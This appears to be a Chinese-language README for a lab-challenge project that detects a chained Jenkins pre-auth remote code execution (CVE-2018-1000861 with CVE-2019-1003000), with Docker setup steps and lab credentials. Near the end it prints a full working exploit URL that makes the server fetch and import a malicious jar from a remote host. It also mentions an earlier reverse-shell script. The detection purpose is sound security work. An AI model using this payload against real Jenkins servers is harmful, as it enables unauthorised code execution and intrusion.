CVE-2019-1003000_RCE-DETECTION

总体概述

通过将漏洞 CVE-2018-1000861 与 CVE-2019-1003000 进行链式利用，我创建了一个模块，用于测试 Jenkins CI 上的未授权远程代码执行（Pre-Auth RCE）。起初，我尝试通过用户名、密码和作业名称来检测漏洞；但我觉得，将这两个漏洞链式利用来解决这个挑战会更加现实且有趣。

前提条件

在您的 Windows、Linux 或 macOS 机器上安装 Visual Studio 或 .NET Core 框架。

环境搭建（我的做法）

1. 首先从 DockerHub 拉取指定 Docker 版本（根据挑战说明）：docker pull jenkins/jenkins:2.121
2. 然后编写了一个 bash 脚本（见本仓库），用于启动一个运行漏洞 Jenkins 服务器的新 Docker 容器，并将其绑定挂载到本地机器
   • 管理员用户
     • 用户名 - Naruto
     • 密码 - Uzumaki
     • 名称 - Naruto
3. 接着导航到 plugins.index.io，查找要安装到 Jenkins 中的特定插件版本
   • Declarative Plugin - https://updates.jenkins.io/download/plugins/pipeline-model-definition/
   • Groovy - https://updates.jenkins.io/download/plugins/workflow-cps/
   • Script Security Plugin - https://updates.jenkins.io/download/plugins/script-security/
   • Declarative Extension Points - https://updates.jenkins.io/download/plugins/pipeline-model-extensions/
     • 安装插件后，导航到“管理插件”中的“高级”部分，清空“更新站点”字段并保存，以防止重启时自动更新。

执行（您应如何安装和运行）

1. 导航到 payload 目录并运行 mvDir.sh
   • 以 ./mvDir.sh 方式运行
     • 该文件应该已经被标记为可执行，如果没有，请运行 chmod +x mvDir.sh。如果仍然无法运行，可以用 bash mvDir.sh 来运行。
     • 该命令会将包含恶意 jar 的目录移动到计算机的根目录，GET 请求将在查找恶意请求中指定的 jar 文件时搜索该位置。
2. 导航到 jenkins_environment 并运行 ./run_vuln_jenkins.sh
   • 如果上述命令无效，请按照上述说明操作。
   • 此 bash 脚本将运行托管漏洞 Jenkins 服务器的 Docker 容器（在 http://localhost:8080 上）。
   • 此外，运行 ./run_updated_jenkins.sh 或 bash run_updated_jenkins.sh 将会启动一个安全的、最新版本的 Jenkins 服务器，运行在 http://localhost:8000 上。对此服务器运行该模块将显示它是安全的，不受 CVE-2018-1000861 与 CVE-2019-1003000 链式利用的影响。
3. 导航到 exploit-detection-code/jenkins-server-rce/
   • 该项目是使用 .NET Core 框架构建的。要运行，首先执行命令 dotnet build
   • 运行模块

     • 运行模块：dotnet run -- -u http://localhost:8080 -ip <主机IP地址>

思考

我最初的规划为解决问题提供了良好的框架；但在实际实施过程中，我发现很多工作被不必要地复杂化了。我最初创建了一个 bash 脚本，用于向宿主机发起反向 shell 以证明 RCE。然而，本次挑战的目标是证明漏洞的存在。在这种情况下，是要证明在 Jenkins 版本 2.121.2 上，安装以下插件时存在 RCE：Pipeline: Declarative Plugin 至 1.3.4，Pipeline: Declarative Extension Points API 至 1.3.4，Pipeline: Groovy Plugin 至 2.61，Script Security Plugin 至 1.49。

实际上我无需创建反向 shell 并展示可以执行任意命令。因此，这使得在 Windows 和基于 .nix 的操作系统上进行检测变得更加容易。在发出 GET 请求后，我发现页面会返回一个状态标记为成功，或者打印一条错误消息。但为了确保成功状态不是误报，我在宿主机上使用 python -m SimpleHTTPSever 80 设置了一个 Web 服务器。在向指定的恶意 JAR 文件（可在 payload 文件夹中找到）发起自定义 GET 请求后，可以看到 GET 请求返回了 200 状态码，并且路径指向本地机器上的 jar 文件，从而证明了漏洞的存在。以下是 GET 请求和相应响应的示例。不同的文件路径（tw/ 和 www/）都包含了恶意 jar；它们只是请求用来查找该 jar 的不同路径。

GET 请求

http://localhost:8080/securityRealm/user/Naruto/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http:[ip_address]/%27)%0a@Grab(group=%27vw.orange%27,%20module=%27poc%27,%20version=%271%27)%0aimport%20NixExploit;

使用的来源

• https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html?showComment=1556463533669#c1268121200706050658
• https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
• https://blog.alertlogic.com/emerging-threat-jenkins-plugins-remote-code-execution/